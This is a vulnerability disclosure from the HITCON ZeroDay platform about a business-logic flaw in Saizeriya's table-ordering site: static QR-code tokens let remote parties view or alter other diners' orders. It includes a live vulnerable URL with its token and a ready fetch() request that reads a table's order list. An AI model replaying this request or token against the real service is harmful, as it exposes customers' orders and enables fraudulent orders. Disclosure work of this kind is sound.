薩莉亞saizeriya桌號點餐設計邏輯漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00352
  •  發信 Vendor: 薩莉亞
  • Title: 薩莉亞saizeriya桌號點餐設計邏輯漏洞
  • Introduction: 未刷新 token 導致遠端任意點餐風險

處理狀態

目前狀態

公開
Last Update : 2023/09/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/07/10 15:37:00 : 新提交 (由 birdie 更新此狀態)
  • 2023/07/10 16:01:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/07/19 19:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/07/19 19:56:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/07/19 19:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/09/09 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00352
  • 通報者:smallbird (birdie)
  • 風險:中
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://byods.pointsoft.com.tw/tw/#/BYOD/byod_z0523_s2?type=PSTN&shop=SZACM&tn=25&qrtime=20220427100922&data=ZGBqBBxNxoZb7CKHIVrjffNXMhvv1yTGnkKjy4kpa7uzmmA2K5mDTTjDeBv2-s4_et-QLTr8_4Yr-kjP1ICQ2w%3D%3D

敘述

每個桌位有 QRcode,data 那串會對應到桌位,但是每組客人食用完不會刷新,導致所有擁有這網址的人都可以進去任意點餐或是查看正在實用的人的點餐紀錄並做新增、刪除等操作。
非在場的人只要點餐,後場的人就會開始製作,最後導致做出來的食物找不到客人

這是查看某一桌目前點餐紀錄的 payload:
fetch("https://byods.pointsoft.com.tw/tw/api/payment/orderList?data=ZGBqBBxNxoZb7CKHIVrjffNXMhvv1yTGnkKjy4kpa7uzmmA2K5mDTTjDeBv2-s4_et-QLTr8_4Yr-kjP1ICQ2w%3D%3D", {
"headers": {
"accept": "application/json, text/plain, /",
"accept-language": "zh-TW,zh;q=0.8",
"businessid": "byod_z0523_s2",
"sec-ch-ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Brave\";v=\"114\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"sec-gpc": "1",
"cookie": "__cf_bm=XnuXld5cptXRjHDMKTLuzVXs0h1RWICq9X5kSq58yaY-1688972726-0-Ab2Tpcnxx75OKjqWX9tmI9sq3Ub7appIWpFIkMTppHMaRpdkFoAFCqDaiGqC8bToRg==",
"Referer": "https://byods.pointsoft.com.tw/tw/",
"Referrer-Policy": "strict-origin-when-cross-origin"
},
"body": null,
"method": "GET"
});

附圖是我不在場卻可以查看當下食用的客人的餐點

本人並沒有做任何點餐行為,沒有讓餐廳出現製作完食物但沒有人在場,純測試網頁

修補建議

應該讓每桌客人結束後刷新 data 的值,並且讓已經無效的 data 值無法訪問,這樣才可以避免上述問題而導致非在場客人任意點餐或查看清單。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;